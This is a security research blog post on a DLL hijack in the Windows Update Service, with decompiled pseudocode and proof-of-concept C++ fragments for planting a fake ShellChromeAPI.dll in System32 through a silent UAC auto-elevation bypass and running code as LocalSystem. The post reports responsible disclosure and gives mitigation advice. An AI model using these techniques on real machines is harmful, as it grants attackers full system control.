Blog Post

Pwning Windows Updates - DLL Hijacking Through Orphaned DLL

Exploiting bug in Windows Update Service to gain local privilege escalation through DLL hijacking.

Pwning Windows Updates - DLL Hijacking Through Orphaned DLL - Exploiting bug in Windows Update Service to gain local privilege escalation through DLL hijacking.

Preface

This one doesn't go any simpler than this. Remember DLL hijacking kids? That thing that we used to do in Windows XP? Well, it's now 2021 and that technique is still around. Moreover, at times the hijacked application happens to be one of the important processes in the system that is supposed to provide security for the operating system - Windows Update Service, also known as "Update Session Orchestrator Service".

So read below for our overview of the bug, our accompanying research and ways of exploitation, as well as how we can mitigate this bug.

Note that this bug, along with the demonstration PoC, was submitted to Microsoft on September 3, 2020, following responsible disclosure guidelines. This blog post became available for the public only after Microsoft refused to fix this bug, and we provided our proposed ways of mitigation.

And lastly, if you're not into reading and just want to see this bug in action, skip to the video demonstration.

The Research

While researching material for our previous blog post on indefinitely postponing updates on Windows 10, Rbmm and I happened to come across an interesting chunk of code. The goal of our research was to locate the part of the code responsible for automatic restart of the operating system after installation of updates. We were trying to prevent those automatic restarts.

There are basically three functions that could reboot the system from the user mode: InitiateShutdown, with a more dumbed-down counterpart InitiateSystemShutdownEx, that both call the undocumented function advapi32!WsdpInitiateShutdown:

C
DWORD WINAPI WsdpInitiateShutdown(
	LPWSTR lpMachineName,
	UNICODE_STRING* Message,
	DWORD dwGracePeriod,
	DWORD dwShutdownFlags,
	DWORD dwReason);

And ExitWindowsEx, that is designed to be called from a process running under an interactive user account. It doesn't do any of the shut-down work itself, but instead it relegates it to CSRSS via CsrClientCallServer call.

Having done some breakpoint magic, Rbmm was able to determine that the automatic rebooting after installation of Windows 10 updates could be done in two places. From the MusNotificationUx.exe UI process and inside USOsvc.dll, which is the main executable module for the Windows Update Service. Judging by the set of methods, it seems like both modules use the same code base. The internal function that was initiating a reboot in them was called RebootWithFlags. And the restart itself is done using the expected InitiateShutdownW API as such:

C++ pseudocode from Ghidra
NTSTATUS RebootHelper::RebootWithFlags(ULONG /*dwShutdownFlags*/, ULONG /*dwMilliseconds*/)
{
	NTSTATUS status;
	NTSTATUS status_2;
	DWORD dwResult;

	//Enable SE_SHUTDOWN_PRIVILEGE
	status = AdjustProcessPrivilege(0, true);
	if (status >= 0)
	{
		if (ShellReboot() >= 0)
		{
			Sleep(120000);		//Wait for 2 minutes, hah!?
		}

		//0x2087 = SHUTDOWN_FORCE_OTHERS | SHUTDOWN_FORCE_SELF | SHUTDOWN_RESTART | SHUTDOWN_RESTARTAPPS | SHUTDOWN_ARSO
		//0x80020010 = SHTDN_REASON_FLAG_PLANNED | SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SERVICEPACK
		dwResult = InitiateShutdownW(NULL, NULL, 0, 0x2087, 0x80020010);

		if ((dwResult == 0) || (dwResult == 0x45b))		//0x45b = ERROR_SHUTDOWN_IN_PROGRESS
		{
			Sleep(-1);				//Hang....
			status = 0x8024a11a;
		}
		else
		{
			status = HRESULT_FROM_WIN32(dwResult);
		}

		//Revert back SE_SHUTDOWN_PRIVILEGE
		AdjustProcessPrivilege(0, false);
	}

	return status;
}
On the side note: What was also interesting is that the initial prototype of this function was RebootHelper::RebootWithFlags, as I showed above. It was written in C. But in the latest versions of Windows 10 Insider Preview it looks like Microsoft has re-written it in C++11 (with some of its internal debugging components.) So now that function is declared as Windows::RebootWithFlags, although the main logic inside hasn't changed significantly.

It also seems to have been hardened with the new generation of the code for Control Flow Guard (currently referred to as XFG, or "Extended Control Flow Guard".)
Raw C++11 pseudocode from Ghidra
void Windows::RebootWithFlags(UINT reserved, duration<__int64,struct_std::ratio<1,1000>_> wait_duration)
{
	shared_ptr<class_SystemInterface::Service::System> sSrvc;
	BOOLEAN cRes3;
	DWORD dwResult;
	void **pplVar;
	size_t duration;
	shared_ptr<class_Windows::CoreOS::Usage> localService1;
	shared_ptr<class_Windows::CoreOS::Usage> localService2;
	runtime_error rtError;

	AdjustProcessPrivilege(0, true);
	sSrvc = GetSystem((Service *)localService2);

	//Call to member functions of 'sSrvc' & 'pplVar' using Extended Control Flow Guard - XFG
	pplVar = __guard_xfg_dispatch_icall_fptr(*(sSrvc->vTable + 0x40), *(void**)sSrvc, &localService1);
	cRes3 = __guard_xfg_dispatch_icall_fptr(*(pplVar->vTable + 0x38), *(void**)pplVar);

	~shared_ptr<class_Windows::CoreOS::Usage>(localService1);
	~shared_ptr<class_Windows::CoreOS::Usage>(localService2);

	if (cRes3 == 0)
	{
		ShellReboot();

		duration = 2;
		sleep_for<int,struct_std::ratio<60,1>_>((duration<int,struct_std::ratio<60,1>_> *)&duration);
	}

	//0x2087 = SHUTDOWN_FORCE_OTHERS | SHUTDOWN_FORCE_SELF | SHUTDOWN_RESTART | SHUTDOWN_RESTARTAPPS | SHUTDOWN_ARSO
	//0x80020010 = SHTDN_REASON_FLAG_PLANNED | SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SERVICEPACK
	dwResult = InitiateShutdownW(0, 0, 0, 0x2087, 0x80020010);

	if ((dwResult != 0) && (dwResult != 0x45b))		//0x45b = ERROR_SHUTDOWN_IN_PROGRESS
	{
		wil::details::in1diag3::_Throw_Win32(0x7f,
			"onecore\\enduser\\windowsupdate\\muse\\orchestrator\\system\\windows\\servicesystem\\reboot.cpp",
			dwResult);

		DebugBreak();		// int 3
		return;
	}

	sleep_for<__int64,struct_std::ratio<1,1000>_>((duration<__int64,struct_std::ratio<1,1000>_> *)&wait_duration);

	runtime_error(rtError, "Reboot timed out");
	_CxxThrowException(rtError, (ThrowInfo *)&AVlogic_error);
}

So let's forget about more complex C++ code snippet and instead concentrate on a simpler C sample (the first one above) as all those constructors and destructors that came with the C++ code are just distracting for our purpose.

Code Review

At first glance there's nothing unusual with what they are doing there. The call to internal function AdjustProcessPrivilege enables the SE_SHUTDOWN_NAME privilege for the process, which is needed to initiate a restart. Then the call to InitiateShutdownW initiates the reboot itself. Since that function works asynchronously the execution returns back to us. If we succeed, or if the shutdown is already in progress, the function enters an infinite waiting loop with the call to Sleep(-1). Otherwise, it reverts the SE_SHUTDOWN_NAME privilege in the second call to AdjustProcessPrivilege and exits.

While reviewing it though, we also noticed that the code called another internal function ShellReboot. We checked that as well. Here's what it does:

C++ pseudocode from Ghidra
NTSTATUS ShellReboot(void)
{
	HMODULE hModule;
	FARPROC pFunc;
	NTSTATUS status;

	//0x800 = LOAD_LIBRARY_SEARCH_SYSTEM32
	hModule = LoadLibraryExW(L"ShellChromeAPI.dll", NULL, 0x800);

	if (hModule == NULL)
	{
		status = HRESULT_FROM_WIN32(GetLastError());
	}
	else
	{
		pFunc = GetProcAddress(hModule, "Shell_RequestShutdown");
		if (pFunc == NULL)
		{
			status = HRESULT_FROM_WIN32(GetLastError());
		}
		else
		{
			//Call function in loaded DLL
			(*pFunc)(1);
			status = 0;
		}

		FreeLibrary(hModule);
	}

	return status;
}

Again, at first glance this looked like a normal call to a function inside a DLL that was resolved dynamically, or during a run-time. This is a normal technique of invoking a function that may not be available on all systems. If ShellChromeAPI.dll is not available, a call to LoadLibraryEx, or GetProcAddress will return NULL and Shell_RequestShutdown will not be called.

But loading DLLs like that comes with a risk of a vulnerability known as "DLL Hijacking". It has existed since early days of Windows 2000, or maybe even earlier.

Rbmm was the first one to check, and to his amazement he discovered that the DLL that the ShellReboot function was attempting to load wasn't present. (I admit that I was slower to catch on.) That was a classic case of DLL hijacking.

The Danger

If an attacker is able to hijack a function inside the Windows Update Service, this will have the following ramifications:

  1. Since Windows Update Service runs with credentials of the LocalSystem, this means that being able to execute code from within it grants an attacker full access to the system.
  2. Because of the way ShellReboot was called, i.e. literally right before initiating the system reboot, many of the built in anti-malware services may be also in the "winding-down state", or getting ready for a system reboot. This would make it even more challenging for tracking down any suspicious activity that an attacker may undertake.
  3. And I don't have to mention that running an attacker-controlled code from within a highly trusted system service, such as Windows Updates, may even further complicate detection of the malicious code.
  4. Moreover an attacker would have any needed amount of time inside the hijacked ShellReboot function to potentially download and install any trojan/malware on the system, that could be activated after a reboot, or even later.
  5. Additionally, the user would generally not expect any malicious activity during installation of Windows updates or at a restart stage.

DLL Hijacking

For some weird reason the ShellChromeAPI.dll no longer exists in the System32 directory. We tried searching for any information about it online, and a few sparse references to that DLL indicated that it might have been used at some point to provide functionality for now defunct Windows Phone. It also seems like after that product was phased out, Microsoft, no doubt maintaining a common code base for Windows, removed that DLL from the System32 folder.

But they did not remove the function that was loading that DLL. Their code continued to work - for instance, the LoadLibraryExW in the ShellReboot function would return NULL, or failure, and the entire function would also fail with the error code 0x8007007E, or "The specified module could not be found".

And thus, my guess is that during their testing it didn't raise any red flags since it didn't break anything. But it created a vulnerability for a hijack.

Since ShellChromeAPI.dll no longer existed in the System32 directory, due to a very convoluted way Microsoft loads DLLs, anyone could place their own version of that module in some writable location, modify the PATH directory to point to it, and then have Windows Update Service load and execute the code in it from their own ShellReboot function.

But as you can see above, while attempting to load the ShellChromeAPI.dll module, Microsoft implemented one way of protecting against DLL hijacking by specifying the LOAD_LIBRARY_SEARCH_SYSTEM32 flag:

LOAD_LIBRARY_SEARCH_SYSTEM32

If this value is used, %windows%\system32 is searched for the DLL and its dependencies. Directories in the standard search path are not searched.

So that stops an easy hijack. But it still doesn't keep their head above the water yet.

"Auto-Elevation Mechanism"

Windows is a very complicated and legacy-bound system. At times you may find some old component, or technique that is so outdated and weird that it makes you wonder, "Why, Microsoft? Why!"

Here's one example of such technique, that was called "Auto-Elevation Mechanism" described by Mark Russinovich back in 2006. It would basically allow a user running with implicit administrative rights to bypass UAC elevation prompts when copying files into a system folder, if such files did not exist before. I guess it was done for convenience, hah?

But if you think about it, this is exactly what we need to place our fake ShellChromeAPI.dll into the System32 directory to complete the DLL hijacking.

The Exploit

Our Proof-of-Concept (PoC) project that we submitted to MSRC as our responsible disclosure bug report consisted of several steps to gain local privilege escalation:

Deploying Fake ShellChromeAPI.dll

The first step was to copy our fake ShellChromeAPI.dll into the System32 directory. We couldn't obviously call CopyFileEx from our PoC process, as it wasn't running elevated. That would return ERROR_ACCESS_DENIED. But, we could use the "Auto-Elevation Technique", mentioned above, to bypass it.

But for that to work, our code had to be running in the system process. Mark Russinovich implied that such could be achieved with the use of code (or DLL) injection. But Rbmm recommended a different approach. Why not "fake" our DLL to load itself into RegSvr32 as if it was an OLE control registration. All we need to do is to create a DllRegisterServer exported function from within our ShellChromeAPI.dll and call RegSvr32 on it.

C++
extern "C" HRESULT WINAPI DllRegisterServer()
{
	//Fake OLE registration function
	//All we need is for it to be running from within a system process, i.e. RegSvr32

	return S_OK;
}

That will make our code run in the system process, i.e. RegSvr32. Next we can implement the "Auto-Elevation Technique" from within it to copy our own file into the System32 folder. To know where our DLL is, we can do:

C++
WCHAR buffSelf[MAX_PATH] = {};
GetModuleFileName((HMODULE)&__ImageBase, buffSelf, _countof(buffSelf));

And then use IShellItem to get our destination:

C++
HRESULT hr
IShellItem* psiDestinationFolder = NULL;
PIDLIST_ABSOLUTE pidl;

if(FAILED(SHGetKnownFolderIDList(FOLDERID_System, KF_FLAG_DONT_VERIFY | KF_FLAG_SIMPLE_IDLIST, 0, &pidl))
	__leave;

hr = SHCreateItemFromIDList(pidl, IID_PPV_ARGS(&psiDestinationFolder));
ILFree(pidl);
if(FAILED(hr))
	__leave;

//...

psiDestinationFolder->Release();

Then use IFileOperation to copy our DLL into the system folder:

C++
//IFileOperation *pFileOp;
pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR| FOF_FILESONLY | FOFX_EARLYFAILURE | FOF_RENAMEONCOLLISION);

if(FAILED(pFileOp->NewItem(psiDestinationFolder, 0, L"ShellChromeAPI.dll", buffSelf, 0)))
	__leave;
if(FAILED(pFileOp->PerformOperations()))
	__leave;

BOOL bFail;
if(FAILED(pFileOp->GetAnyOperationsAborted(&bFail)))
	__leave;
if(!bFail)
	__leave;

DbgPrint("Dll has been deployed!\n");
There's a slight caveat for the code above. If the ShellChromeAPI.dll file already existed in the System32 folder, the IFileOperation will create a renamed copy of it, which we obviously don't want. (This may happen if we re-run the exploit again.)

To address this we can delete our previously existing DLL using IFileOperation::DeleteItem call. It will not succeed if there was an actual ShellChromeAPI.dll in the system folder because of its security descriptor. Remember that our process isn't running elevated!
Additionally, a condition for the "Auto-Elevation Technique" to work surreptitiously is for the Windows user, that runs our PoC, to be a default administrator. Such default administrator account is created immediately after installation of Windows. But realistically speaking, how many people change user accounts after installation of OS?

Otherwise running the code above under a Standard user account will produce the following UAC prompt. But even still, notice how deceptive that prompt is. It says, "Verified publisher: Microsoft Windows", or in other words, "Microsoft is trying to run something on your computer." So how many people would just click Yes to it?
UAC Prompt
UAC Prompt when running PoC under a Standard user account.

At this point, if malicious ShellChromeAPI.dll is deployed in the System32 directory, an attacker can only sit and wait for the Windows to install updates and reboot. And knowing how "anal" Microsoft is about forcing reboots after installing updates, he or she doesn't have to wait long...

In case of our PoC we didn't want to wait for the next update, so Rbmm found a way to force the ShellReboot function to be called on demand via undocumented IUxUpdateManager or IUxUpdateManager2 interfaces and their RebootToCompleteInstall functions.

The Prep Work

There's one more thing that needs to be accounted, for this exploit to work. Knowing that Microsoft probably reused their code in more than one module, we discovered that the same ShellReboot function also existed in other places. For instance, a helper UI process, called MusNotificationUx, that is responsible for displaying those (annoying) update notifications, also had ShellReboot function in it. But unlike USOsvc.dll, that was executing as LocalSystem, the MusNotificationUx wasn't. Thus we weren't interested in injecting our code into it.

We can easily determine whether or not our code is running with the LocalSystem privileges from within our hijacked Shell_RequestShutdown function:

C++
extern "C" UINT WINAPI Shell_RequestShutdown(UINT nValue)
{
	BOOL bHaveSystemToken = FALSE;

	HANDLE hToken;
	if(SUCCEEDED(NtOpenProcessToken(NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)))
	{
		TOKEN_STATISTICS ts;
		ULONG uiDummy;
		if(SUCCEEDED(NtQueryInformationToken(hToken, TokenStatistics, &ts, sizeof(ts), &uiDummy)))
		{
			//#define SYSTEM_LUID { 0x3e7, 0x0 }		
			static const LUID SystemLuid = SYSTEM_LUID;

			if (ts.AuthenticationId.LowPart == SystemLuid.LowPart &&
				ts.AuthenticationId.HighPart == SystemLuid.HighPart)
			{
				//We are running as LocalSystem!
				bHaveSystemToken = TRUE;

			}
		}

		NtClose(hToken);
	}

	return 0;
}

But that presented another small challenge. What shall we do if our injected process was not running as LocalSystem? Say, for instance, if our code was called from within MusNotificationUx process. We obviously don't want that process to go ahead with the restart if we haven't deployed our exploit yet. (Keep in mind that initiating a reboot is not a privileged operation, so MusNotificationUx can do it by itself.)

The way Microsoft coded this process also played in our favor. What Rbmm had discovered is that MusNotificationUx attempts to initiate a restart first, and if that fails with a special exit code MACHINE_LOCKED, then the Update service waits for 5 minutes and initiates the reboot itself. And that is what we want!

The only housekeeping we needed to take care of was to ensure that the restart doesn't succeed in MusNotificationUx. There were certain steps that we needed to take in our hijacked Shell_RequestShutdown to accomplish that:

C++
if(!bHaveSystemToken)
{
	//We're not running as LocalSystem

	//Let's check that we're running from interactive session (this will include MusNotificationUx)
	if(GetShellWindow())
	{
		//#define SE_SHUTDOWN_PRIVILEGE               (19L)

		static const TOKEN_PRIVILEGES tp_No_Shutdown = { 1, { { { SE_SHUTDOWN_PRIVILEGE } } } };

		//Remove SE_SHUTDOWN_PRIVILEGE privilege, so InitiateShutdown will fail
		NtAdjustPrivilegesToken(hToken, FALSE, (PTOKEN_PRIVILEGES)&tp_No_Shutdown, 0, 0, 0);

		//And also kill self with a special error code
		static const ULONG MACHINE_LOCKED = 0x80000000 | (FACILITY_WIN32 << 16) | ERROR_MACHINE_LOCKED;

		ExitProcess(MACHINE_LOCKED);
	}
}

The Payload

And finally, if we detect that we are running as LocalSystem, we deploy our actual payload. In case of our PoC we just displayed the obligatory whoami command:

Privilege escalation
cmd showing resulting privilege escalation.

Mitigation

After we discovered this bug in September of 2020 and submitted it to Microsoft and they refused to fix it. As a result of that we worked on our own solution for how to patch this vulnerability. I wrote a separate blog post on the subject, as well as Rbmm (read it here) that will provide ways to mitigate it.

Conclusion

There are several lessons that we can learn from this bug:

  • For developers - obviously don't leave your orphaned DLLs hanging in your code if you don't use them anymore! Otherwise you will be subjecting your code to a classic DLL hijacking attack. There's really no better way than removing the code that uses a defunct DLL, or keeping an empty DLL file in place of it.

    Additionally, you may consider statically linking to all your DLLs. This way, if you or another team member decides to remove such DLL, the code that uses it will break, which should alert you to fix it.

  • For Windows users - it's a classic one too. DO NOT log in as a default administrator for your daily use of the computer! If a user was logged in under a Standard Windows account, our exploit would've displayed a UAC prompt that would've alerted you.
  • And lastly, do not click on UAC prompts for elevation if you don't know where the prompt is coming from, or if you did not request it. There's a No button there too, ya know. 😁

Video Overview

As always, if you want to see this bug in action, watch the following video demonstration:

Related Articles